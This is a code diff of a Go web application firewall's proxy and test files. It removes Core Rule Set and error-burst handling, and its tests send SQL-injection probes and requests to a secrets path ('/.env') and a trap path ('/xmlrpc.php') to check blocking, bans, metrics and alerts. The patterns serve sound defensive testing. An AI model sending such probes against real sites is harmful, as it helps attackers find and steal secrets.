want := ratelimit.Offences{Limit: 1, WAFBlocked: 3}
if offences := historyOf(t, server, client).Offences; offences != want {
t.Errorf("history counts the offences %+v, want %+v", offences, want)
}
metrics := s.scrape(scraper)
wantMetric(t, metrics,
`smallwebwaf_waf_matches_total{instance="app",mode="block",rule_id="942100"}`, 3)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`, 3)
wantMetric(t, metrics, `smallwebwaf_requests_total{action="waf_blocked",`+
`instance="app",status_class="4xx"}`, 3)
}
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(t *testing.T) {
t.Parallel()
const scraper = "192.0.2.200"
s, _, server := startWithClock(t, "", map[string]string{
wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
})
for range 3 {
s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
offences := historyOf(t, server, client).Offences
if offences != (ratelimit.Offences{}) {
t.Errorf("history counts the offences %+v, want none", offences)
}
metrics := s.scrape(scraper)
wantMetric(t, metrics,
`smallwebwaf_waf_matches_total{instance="app",mode="detect",rule_id="942100"}`, 3)
wantNoSeries(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="waf_blocked"}`)
}
func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{wafMode: block, mode: observe})
line := s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionWAFBlocked)
wantWAF(t, line, new(5), 942100)
// It is an offence as in enforce mode.
want := ratelimit.Offences{WAFBlocked: 1}
if offences := historyOf(t, server, client).Offences; offences != want {
t.Errorf("history counts the offences %+v, want %+v", offences, want)
}
}
func TestCoreRuleSetMatchRaisesTheWAFBlockAlert(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
env map[string]string
// status and action are what the request is answered and logged
// with, and alertMode what the alert's detail gives as mode, if
// anything.
status int
action, alertMode string
}{
{
"block", map[string]string{wafMode: block},
http.StatusForbidden, requestlog.ActionWAFBlocked, "",
},
{
"detect", map[string]string{wafMode: detect},
http.StatusOK, requestlog.ActionForward, detect,
},
{
"block in observe mode", map[string]string{wafMode: block, mode: observe},
http.StatusOK, requestlog.ActionForward, observe,
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, clk, _, queue := startWithAlerts(t, tc.env)
// The second is a repeat, which the cooldown holds back, and an
// ordinary request raises none.
for range 2 {
s.request(client, sqlInjection, tc.status, tc.action)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
detail := map[string]any{
"rule_ids": []int{942100}, "score": 5, "method": http.MethodGet,
"path": sqlInjection,
}
if tc.alertMode != "" {
detail["mode"] = tc.alertMode
}
wantAlerts(t, queue, alerts.Alert{
Instance: alertInstance,
Time: clk.Now(),
Event: alerts.EventWAFBlock,
Client: netip.MustParseAddr(client),
Netblock: netip.MustParsePrefix(client + "/32"),
Reason: "scored by the Core Rule Set at or over SWWAF_WAF_ANOMALY_THRESHOLD",
Detail: detail,
})
if queue.Suppressed() != 1 {
t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
}
})
}
}
internal/proxy/countries_test.go
+3 -9
View File
@@ -52,7 +52,7 @@ func TestCountryLists(t *testing.T) {
calls.Add(1)
})
geojsURL, _ := startGeoJS(t)
env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
env := map[string]string{trustedProxies: trustLocalhost}
maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -101,7 +101,6 @@ func TestCountryRefusalComesBeforeTheBody(t *testing.T) {
geojsURL, _ := startGeoJS(t)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
deniedCountries: "kp",
})
@@ -148,7 +147,6 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
allowedCountries: "de",
rateLimitPerMinute: "1",
})
@@ -196,7 +194,7 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
geojsURL, asked := startGeoJS(t)
env := map[string]string{trustedProxies: trustLocalhost, lookupTimeout: "1h"}
env := map[string]string{trustedProxies: trustLocalhost}
maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -282,11 +280,7 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
// each in an AS of its own, and no other address. It returns its URL, and
// what returns the addresses it has been asked about. A test that needs
// the stand-in to be asked or to answer sets SWWAF_LOOKUP_TIMEOUT to an
// hour, whether or not a request waits for the answer: on the default
// second, a hold-up of the test process can abandon the request to the
// stand-in, and leave the client unknown.
// what returns the addresses it has been asked about.
func startGeoJS(t *testing.T) (string, func() []string) {
t.Helper()
internal/proxy/errorburst_test.go
-395
View File
@@ -1,395 +0,0 @@
package proxy_test
import (
"maps"
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/proxy"
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
const errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD"
// refused is a request the tests here send, which smallwebwaf refuses
// after a rule file match, or for a missing or wrong token.
type refused int
const (
// blockRule is a request testRules' block rule refuses with 403.
blockRule refused = iota
// banRule is one its ban rule refuses with 403, and bans the client
// for.
banRule
// noMetricsToken is one for the metrics without a token, and
// wrongAdminToken one for the bans with the metrics token, each
// refused with 401.
noMetricsToken
wrongAdminToken
)
// send sends r from the client at from, checks its answer and log line as
// sender.request does, and returns the line.
func (r refused) send(s *sender, from string) logLine {
s.t.Helper()
switch r {
case blockRule:
return s.request(from, blockedPath, http.StatusForbidden,
requestlog.ActionRuleBlocked)
case banRule:
return s.request(from, probePath, http.StatusForbidden, requestlog.ActionBanned)
case noMetricsToken:
return s.request(from, proxy.MetricsPath, http.StatusUnauthorized,
requestlog.ActionAdmin)
case wrongAdminToken:
line, _ := s.requestWithHeader(from, proxy.BansPath, "Authorization: "+bearer,
http.StatusUnauthorized, requestlog.ActionAdmin)
return line
}
s.t.Fatalf("no request for the refusal %d", r)
return logLine{}
}
// startForErrorBurst is startWithClock with testRules, both tokens and
// SWWAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
func startForErrorBurst(
t *testing.T, threshold string, env map[string]string,
) (*sender, *clock, *proxy.Server) {
t.Helper()
settings := map[string]string{
errorBurstThreshold: threshold,
rulesDir: writeRules(t, testRules),
adminToken: adminSecret,
metricsToken: token,
}
maps.Copy(settings, env)
return startWithClock(t, "", settings)
}
func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
name string
// refusals are four, one over the threshold of three.
refusals []refused
}{
{"block rule", []refused{blockRule, blockRule, blockRule, blockRule}},
{
"missing or wrong token",
[]refused{noMetricsToken, wrongAdminToken, noMetricsToken, wrongAdminToken},
},
{
"a mix ending in a ban rule",
[]refused{blockRule, noMetricsToken, blockRule, banRule},
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
s, _, _ := startForErrorBurst(t, "3", nil)
// Three refusals break nothing, and the app's answers between
// them are not counted.
for i, r := range tc.refusals[:3] {
line := r.send(s, client)
if line.LimitHit != "" || line.Offence != "" {
t.Errorf("refusal %d: log line has limit_hit %q and offence %q, "+
"want none", i+1, line.LimitHit, line.Offence)
}
s.get(client, http.StatusOK, requestlog.ActionForward)
}
// The fourth is answered as the others were, breaks the error
// burst, and bans the client.
line := tc.refusals[3].send(s, client)
if line.LimitHit != requestlog.LimitHitErrorBurst ||
line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has limit_hit %q and offence %q, want error_burst "+
"and limit", line.LimitHit, line.Offence)
}
s.get(client, http.StatusForbidden, requestlog.ActionBanned)
})
}
}
func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
t.Parallel()
const scraper = "192.0.2.200"
s, clk, server := startForErrorBurst(t, "2", nil)
start := clk.Now()
blockRule.send(s, client)
wrongAdminToken.send(s, client)
line := blockRule.send(s, client)
expires := start.Add(time.Hour)
if line.BanExpires != requestlog.FormatTime(expires) {
t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
}
netblock := netip.MustParsePrefix(client + "/32")
want := bans.Ban{
Netblock: netblock,
Start: start,
Expires: expires,
Cause: bans.CauseLimit,
Reason: "refusals per minute over the limit of 2",
Notes: bans.Notes{
Kind: ratelimit.KindRefusals,
Limit: 2,
Window: minute,
Count: 3,
Request: bans.Request{
Time: start,
Method: http.MethodGet,
Host: appHost,
Path: blockedPath,
Status: http.StatusForbidden,
UserAgent: userAgent,
},
Requests: 3,
},
}
got := server.Ledger.Bans(netblock)
if len(got) != 1 || !reflect.DeepEqual(got[0], want) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
}
wantOffences := ratelimit.Offences{Limit: 1, RuleBlocked: 2, TokenRefused: 1}
if offences := historyOf(t, server, client).Offences; offences != wantOffences {
t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences)
}
metrics := s.scrape(scraper)
wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+
`kind="refusals",window="minute"}`, 1)
wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 1)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 2)
wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="token_refused"}`, 1)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 1)
}
func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
t.Parallel()
geojsURL, _ := startGeoJS(t)
s, _, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
errorBurstThreshold: "2",
rulesDir: writeRules(t, testRules),
countryLimitPercent: countryDEHalf,
})
// Half of the threshold would be one, which the second refusal is over.
for range 2 {
line := blockRule.send(s, fromDE)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
blockRule.send(s, fromDE)
got := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
if len(got) != 1 || got[0].Notes.Limit != 2 || got[0].Notes.LimitPercent != nil {
t.Errorf("bans %+v, want one for the limit of 2, without a limit percentage", got)
}
}
func TestErrorBurstDoesNotCountTheAppsAnswers(t *testing.T) {
t.Parallel()
statuses := map[string]int{
"/missing": http.StatusNotFound,
"/private": http.StatusUnauthorized,
"/forbidden": http.StatusForbidden,
}
s, _, _, queue := startAppWithAlerts(t, func(w http.ResponseWriter, r *http.Request) {
w.WriteHeader(statuses[r.URL.Path])
}, map[string]string{errorBurstThreshold: "1", rulesDir: writeRules(t, testRules)})
for range 2 {
for path, status := range statuses {
s.request(client, path, status, requestlog.ActionForward)
}
}
// The first refusal is one, not over the threshold.
line := blockRule.send(s, client)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
// No ban was made, nor its alert raised.
s.request(client, "/missing", http.StatusNotFound, requestlog.ActionForward)
wantAlerts(t, queue)
}
func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
threshold string
// broken is whether the 31st refusal breaks the error burst.
broken bool
}{
{"", true},
{off, false},
} {
t.Run(errorBurstThreshold+"="+tc.threshold, func(t *testing.T) {
t.Parallel()
env := map[string]string{rulesDir: writeRules(t, testRules)}
if tc.threshold != "" {
env[errorBurstThreshold] = tc.threshold
}
s, _, _ := startWithClock(t, "", env)
var line logLine
for range 31 {
line = blockRule.send(s, client)
}
if broken := line.LimitHit == requestlog.LimitHitErrorBurst; broken != tc.broken {
t.Errorf("the 31st refusal broke the error burst: %t, want %t",
broken, tc.broken)
}
})
}
}
func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
t.Parallel()
const (
allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS
exempt = "192.0.2.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS
)
s, _, _ := startForErrorBurst(t, "1", map[string]string{
allowNets: allowed, rateLimitExemptNets: exempt,
})
// A client in SWWAF_ALLOW_NETS still needs the token, but is not
// counted.
for range 3 {
line := noMetricsToken.send(s, allowed)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
// One the rate limits do not apply to is.
noMetricsToken.send(s, exempt)
line := wrongAdminToken.send(s, exempt)
if line.LimitHit != requestlog.LimitHitErrorBurst {
t.Errorf("log line has limit_hit %q, want error_burst", line.LimitHit)
}
s.get(exempt, http.StatusForbidden, requestlog.ActionBanned)
}
func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
t.Parallel()
s, clk, _ := startForErrorBurst(t, "1", map[string]string{limitBanDuration: "1s"})
blockRule.send(s, client)
blockRule.send(s, client)
// Within the same minute, once the ban has ended, the next refusal is
// the first again.
clk.advance(time.Second)
line := blockRule.send(s, client)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
mode: observe,
errorBurstThreshold: "1",
rulesDir: writeRules(t, testRules),
adminToken: adminSecret,
})
start := clk.Now()
held := bans.Ban{
Netblock: netip.MustParsePrefix(otherClient + "/32"),
Start: start,
Expires: start.Add(time.Hour),
Cause: bans.CauseAdmin,
}
server.Ledger.Load([]bans.Ban{held})
// Under a ban, enforce mode would have refused these before the
// endpoint, so their tokens are not counted.
for range 2 {
line := wrongAdminToken.send(s, otherClient)
wantWouldAction(t, line, requestlog.ActionBanned)
if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
}
}
// The block rule's refusal, which enforce mode would have answered 403,
// is the second of the client's, and would have banned it.
wrongAdminToken.send(s, client)
line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionRuleBlocked)
if line.LimitHit != requestlog.LimitHitErrorBurst || line.BanExpires != "" {
t.Errorf("log line has limit_hit %q and ban_expires %q, want error_burst "+
"and none", line.LimitHit, line.BanExpires)
}
if got := server.Ledger.Snapshot(); len(got) != 1 || !reflect.DeepEqual(got[0], held) {
t.Errorf("bans %+v, want only the one held", got)
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 1 {
t.Fatalf("%d alerts wait, want 1: %+v", len(waiting), waiting)
}
notes, _ := waiting[0].Detail["notes"].(bans.Notes)
if notes.Kind != ratelimit.KindRefusals || notes.Count != 2 ||
notes.Request.Status != http.StatusForbidden {
t.Errorf("the alert's notes are %+v, want two refusals, the last answered 403",
notes)
}
alert := banAlert(alerts.EventBan, start, client, bans.Ban{
Netblock: netip.MustParsePrefix(client + "/32"), Cause: bans.CauseLimit,
Reason: "refusals per minute over the limit of 1", Notes: notes,
}, requestlog.FormatTime(start.Add(time.Hour)))
alert.Detail["mode"] = observe
wantAlerts(t, queue, alert)
}
internal/proxy/history_test.go
-1
View File
@@ -18,7 +18,6 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "2",
deniedCountries: "kp",
})
internal/proxy/lookup_test.go
-70
View File
@@ -86,75 +86,6 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(t *testing.T)
}
}
func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
t.Parallel()
// The country list has a new client's request wait for its answer,
// which the stand-in for GeoJS gives only once released.
geojsURL, asked, release := startHeldGeoJS(t)
app := startApp(t, func(http.ResponseWriter, *http.Request) {})
clk := &clock{now: time.Date(2026, 10, 6, 0, 0, 58, 0, time.UTC)}
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
deniedCountries: "kp",
})
requestFromDE := func() *http.Request {
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header.Set(forwardedFor, fromDE)
return req
}
// fromDE's first request arrives two seconds before a minute ends,
// and waits for GeoJS.
first, httpClient := requestFromDE(), newClient(t)
firstEnded := make(chan error, 1)
go func() {
res, err := httpClient.Do(first)
if err == nil {
err = readAnswer(res).err
}
firstEnded <- err
}()
waitUntil(func() bool { return len(asked()) == 1 })
// Half a second into the next minute, the answer is kept, as an edit
// of lookups.json would keep it, while the first request still waits
// for GeoJS. The second request goes on at once, and is counted.
clk.advance(2500 * time.Millisecond)
server.GeoJS.Load([]lookup.Answer{{
Client: netip.MustParsePrefix(fromDE + "/32"), ASN: asnDE, ASName: asNameDE,
Country: "DE", Answered: clk.Now(), Used: clk.Now(),
}})
wantStatus(t, do(t, requestFromDE()), http.StatusOK)
// GeoJS answers, and the first request goes on.
release()
err := <-firstEnded
if err != nil {
t.Fatalf("first request: %v", err)
}
wantLine(t, out.requestLines(t, 2)[1], http.StatusOK, requestlog.ActionForward)
// The third request's count holds all three: the first was counted
// when it went on, in the minute under way, and the second's count
// was kept.
clk.advance(500 * time.Millisecond)
wantStatus(t, do(t, requestFromDE()), http.StatusOK)
if got := out.requestLines(t, 3)[2].Counts.Minute; got != 3 {
t.Errorf("the third request's count in the minute is %v, want 3", got)
}
}
func TestASNumberAndNameInTheLogLineTheHistoryTheBanNotesAndTheAlert(t *testing.T) {
t.Parallel()
@@ -318,7 +249,6 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(t *testing.T) {
geojsURL, _ := startGeoJS(t)
addr, out, _ := startProxyWithClock(t, app.URL, geojsURL, time.Now, map[string]string{
trustedProxies: trustLocalhost,
lookupTimeout: "1h",
addLookupHeaders: "true",
})
s := &sender{t: t, addr: addr, out: out}
internal/proxy/observe_test.go
-1
View File
@@ -39,7 +39,6 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
geojsURL, _ := startGeoJS(t)
env := map[string]string{
lookupTimeout: "1h",
rateLimitPerMinute: "1",
denyNets: denied,
deniedCountries: "kp",
internal/proxy/passthrough_test.go
-88
View File
@@ -74,47 +74,6 @@ func TestPassesRequestAndAnswerUnchanged(t *testing.T) {
wantRequestFields(t, line, addr, len(requestBody), len(answerBody))
}
func TestPassesThePathAsSent(t *testing.T) {
t.Parallel()
for _, path := range []string{
// An encoded slash and a character Go escapes: |, ^, and é sent
// as its UTF-8 bytes.
"/a%2Fb|c", "/feat%2Fx/file^1", "/x%2Fy/café",
// A path starting with //, which Go would send as a scheme and
// host if it were put in URL.Opaque.
"//a%2Fb",
} {
t.Run(path, func(t *testing.T) {
t.Parallel()
saw := make(chan string, 1)
app := startApp(t, func(_ http.ResponseWriter, r *http.Request) {
saw <- r.RequestURI
})
addr, out := startProxy(t, app.URL, nil)
conn := dial(t, addr)
send(t, conn, "GET "+path+"?q=1 HTTP/1.1\r\nHost: "+appHost+"\r\n\r\n")
got := readResponse(t, conn)
if got.status != http.StatusOK {
t.Fatalf("status %d, want %d", got.status, http.StatusOK)
}
target := <-saw
if target != path+"?q=1" {
t.Errorf("app saw %s, want %s", target, path+"?q=1")
}
line := out.requestLine(t)
if line.Path != path {
t.Errorf("log line has path %s, want %s", line.Path, path)
}
})
}
}
// wantAppSaw checks that the app received the test's request unchanged.
func wantAppSaw(t *testing.T, saw appSaw, body []byte) {
t.Helper()
@@ -192,36 +151,6 @@ func wantRequestFields(t *testing.T, line logLine, host string, sent, received i
}
}
func TestAddsNoContentTypeTheAppDidNotSend(t *testing.T) {
t.Parallel()
const typed = "text/plain"
app := startApp(t, func(w http.ResponseWriter, r *http.Request) {
if r.URL.Path == "/typed" {
w.Header().Set("Content-Type", typed)
} else {
// The key with no value keeps Go's server from adding one.
w.Header()["Content-Type"] = nil
}
_, _ = io.WriteString(w, "<!doctype html><title>page</title>")
})
addr, _ := startProxy(t, app.URL, nil)
got := get(t, addr, "/")
if got.header.Values("Content-Type") != nil {
t.Errorf("client got Content-Type %q, want none",
got.header.Get("Content-Type"))
}
got = get(t, addr, "/typed")
if got.header.Get("Content-Type") != typed {
t.Errorf("client got Content-Type %q, want %q",
got.header.Get("Content-Type"), typed)
}
}
func TestStreamsTheRequestBody(t *testing.T) {
t.Parallel()
@@ -380,23 +309,6 @@ func echoAfterUpgrade(w http.ResponseWriter, r *http.Request) {
}
}
func TestAnswers502WhenTheAppSwitchesToAnotherProtocol(t *testing.T) {
t.Parallel()
// answerAfterUpgrade switches to websocket whatever the client asked
// for, and ReverseProxy passes on a switch only to the protocol the
// client asked for, here "websocket, foo".
app := startApp(t, answerAfterUpgrade)
addr, out := startProxy(t, app.URL, nil)
conn := dial(t, addr)
send(t, conn, "GET /ws HTTP/1.1\r\nHost: app\r\n"+
"Connection: Upgrade\r\nUpgrade: websocket, foo\r\n\r\n")
wantStatus(t, readResponse(t, conn), http.StatusBadGateway)
wantLine(t, out.requestLine(t), http.StatusBadGateway, requestlog.ActionUpstreamError)
}
func TestServerHasTheDefaultLimits(t *testing.T) {
t.Parallel()
internal/proxy/proxy.go
+27 -56
View File
@@ -21,7 +21,6 @@ import (
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
// How smallwebwaf keeps connections to the app open between requests.
@@ -76,10 +75,9 @@ type Params struct {
// Alerts receive the alert for each ban the proxy makes or makes
// permanent, for each count over an anomaly threshold, for each request
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
// AbuseIPDB lists, for each request the Core Rule Set scores at or over
// SWWAF_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
// or the day's AbuseIPDB checks used up.
// AbuseIPDB lists, and for GeoJS failing, a fetch of a list failing, a
// query to a DNSBL zone or a check with AbuseIPDB failing, or the day's
// AbuseIPDB checks used up.
Alerts *alerts.Queue
}
@@ -146,13 +144,12 @@ func New(params Params) *Server {
NamedNetblocks: params.Config.WatchNets,
Alerts: params.Alerts,
}),
lookupFile: params.LookupFile,
lists: lists,
dnsbl: dnsbl,
abuseIPDB: abuseIPDB,
rules: params.Rules,
coreRuleSet: newCoreRuleSet(params.Config),
alerts: params.Alerts,
lookupFile: params.LookupFile,
lists: lists,
dnsbl: dnsbl,
abuseIPDB: abuseIPDB,
rules: params.Rules,
alerts: params.Alerts,
}
h.geojs = lookup.New(lookup.Params{
URL: params.GeoJSURL,
@@ -231,49 +228,26 @@ func newReputation(
return lists, dnsbl, abuseIPDB
}
// newCoreRuleSet returns the Core Rule Set at SWWAF_WAF_PARANOIA_LEVEL,
// without the rules SWWAF_WAF_DISABLED_RULES switches off, reading bodies
// up to SWWAF_WAF_BODY_LIMIT, or nil while SWWAF_WAF_MODE is off.
func newCoreRuleSet(cfg *config.Config) *waf.CoreRuleSet {
if cfg.WAFMode == config.WAFModeOff {
return nil
}
coreRuleSet, err := waf.New(waf.Params{
ParanoiaLevel: cfg.WAFParanoiaLevel, DisabledRules: cfg.WAFDisabledRules,
BodyLimit: cfg.WAFBodyLimit,
})
if err != nil {
// The Core Rule Set is built in, and the settings cannot break it:
// the paranoia level is from 1 to 4, the body limit at most 1G, and
// the id of no rule switches nothing off.
panic(err)
}
return coreRuleSet
}
// handler is the proxy. It holds what every request shares; what belongs
// to one request is in a request.
type handler struct {
config *config.Config
requestLog io.Writer
processLog *slog.Logger
errorLog *log.Logger
transport http.RoundTripper
now func() time.Time
metrics *metrics.Metrics
limiter *ratelimit.Limiter
ledger *bans.Ledger
geojs *lookup.GeoJS
anomalies *anomaly.Counters
lookupFile *lookup.File
lists *reputation.Lists
dnsbl *reputation.DNSBL
abuseIPDB *reputation.AbuseIPDB
rules *rules.Files
coreRuleSet *waf.CoreRuleSet
alerts *alerts.Queue
config *config.Config
requestLog io.Writer
processLog *slog.Logger
errorLog *log.Logger
transport http.RoundTripper
now func() time.Time
metrics *metrics.Metrics
limiter *ratelimit.Limiter
ledger *bans.Ledger
geojs *lookup.GeoJS
anomalies *anomaly.Counters
lookupFile *lookup.File
lists *reputation.Lists
dnsbl *reputation.DNSBL
abuseIPDB *reputation.AbuseIPDB
rules *rules.Files
alerts *alerts.Queue
}
// newTransport returns what carries requests to the app. It never goes
@@ -308,12 +282,9 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
return
}
// Once the request has ended, before its log line is written. The
// last deferred runs first: countRefusal before addToHistory, so that
// a broken error burst is in the client's history.
// Once the request has ended, before its log line is written.
defer rq.addToHistory()
defer rq.countAnomalies()
defer rq.countRefusal()
refused := rq.check(r.Context())
rq.checked = time.Now()
internal/proxy/proxy_test.go
+2 -9
View File
@@ -85,12 +85,8 @@ const (
logRequestHeaders = "SWWAF_LOG_REQUEST_HEADERS"
attackBanDuration = "SWWAF_ATTACK_BAN_DURATION"
rulesDir = "SWWAF_RULES_DIR"
wafMode = "SWWAF_WAF_MODE"
)
// off is the value that switches a setting off.
const off = "off"
// output collects what smallwebwaf writes on stdout.
type output struct {
mu sync.Mutex
@@ -275,9 +271,7 @@ func startProxyWithAlerts(
// is no stand-in for GeoJS to look clients up at, and SWWAF_LOOKUP_SOURCE
// is off unless env sets it. While it is file, the lookup database
// SWWAF_LOOKUP_DB_PATH names is read. Clients are checked with AbuseIPDB
// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY. SWWAF_WAF_MODE is off
// unless env sets it, so that only the tests of the Core Rule Set have
// their requests inspected by it.
// at abuseIPDBURL while env sets SWWAF_ABUSEIPDB_KEY.
func newProxy(
t *testing.T, appURL, geojsURL string, now func() time.Time,
env map[string]string,
@@ -286,10 +280,9 @@ func newProxy(
settings := map[string]string{
"SWWAF_UPSTREAM_URL": appURL, rulesDir: t.TempDir(), instanceName: "app",
wafMode: off,
}
if geojsURL == "" {
settings[lookupSource] = off
settings[lookupSource] = "off"
}
maps.Copy(settings, env)
internal/proxy/ratelimits_test.go
-3
View File
@@ -185,9 +185,6 @@ func TestRateLimitCountsPathsThatAreNotExempt(t *testing.T) {
"/assets/x%2Fy",
"/assets/x%2fy",
`/assets/x\y`,
// The same with a character Go escapes, |, for which Go's
// URL.EscapedPath gives /assets/x/y%7Cz, with no encoded slash.
"/assets/x%2Fy|z",
} {
t.Run(sent, func(t *testing.T) {
t.Parallel()
internal/proxy/reputation_test.go
+6 -23
View File
@@ -701,14 +701,10 @@ func TestIPv6ClientCostsOneAbuseIPDBCheckWhicheverOfItsAddressesSends(t *testing
wantAbuseIPDBChecks(t, server, 1)
}
// probePath is the path the ban rule of testRules, probe, matches, and
// blockedPath the one its block rule, blocked, matches.
const (
probePath = "/.env"
blockedPath = "/blocked"
)
// probePath is the path the ban rule of testRules, probe, matches.
const probePath = "/.env"
func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) {
func TestClientARuleRefusedIsCheckedWithAbuseIPDBAtItsNextRequest(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
@@ -722,25 +718,13 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test
want ratelimit.Offences
}{
{
"a block rule", blockedPath, http.StatusForbidden, requestlog.ActionRuleBlocked,
"a block rule", "/blocked", http.StatusForbidden, requestlog.ActionRuleBlocked,
ratelimit.Offences{RuleBlocked: 1},
},
{
"the Core Rule Set", sqlInjection, http.StatusForbidden,
requestlog.ActionWAFBlocked, ratelimit.Offences{WAFBlocked: 1},
},
{
"a ban rule", probePath, http.StatusForbidden, requestlog.ActionBanned,
ratelimit.Offences{Attack: 1},
},
{
"a trap path", "/xmlrpc.php", http.StatusForbidden, requestlog.ActionBanned,
ratelimit.Offences{Attack: 1},
},
{
"a missing token", proxy.MetricsPath, http.StatusUnauthorized,
requestlog.ActionAdmin, ratelimit.Offences{TokenRefused: 1},
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
@@ -748,7 +732,6 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test
s, clk, server := startWithClock(t, "", map[string]string{
abuseIPDBKey: accountKey, reputationAction: actionLog,
rulesDir: writeRules(t, testRules), attackBanDuration: "1h",
trapPaths: trapPathList, metricsToken: token, wafMode: block,
})
s.request(client, tc.path, tc.status, tc.action)
@@ -758,8 +741,8 @@ func TestClientRefusedForAnOffenceIsCheckedWithAbuseIPDBAtItsNextRequest(t *test
t.Errorf("history counts the offences %+v, want %+v", got, tc.want)
}
// Its next request, once any ban for a clear sign of attack
// has ended, has it checked.
// Its next request, once a ban rule's ban has ended, has it
// checked.
clk.advance(time.Hour)
s.get(client, http.StatusOK, requestlog.ActionForward)
wantAbuseIPDBChecks(t, server, 1)
internal/proxy/request.go
+36 -110
View File
@@ -8,6 +8,7 @@ import (
"net/http/httptrace"
"net/http/httputil"
"net/netip"
"net/url"
"os"
"slices"
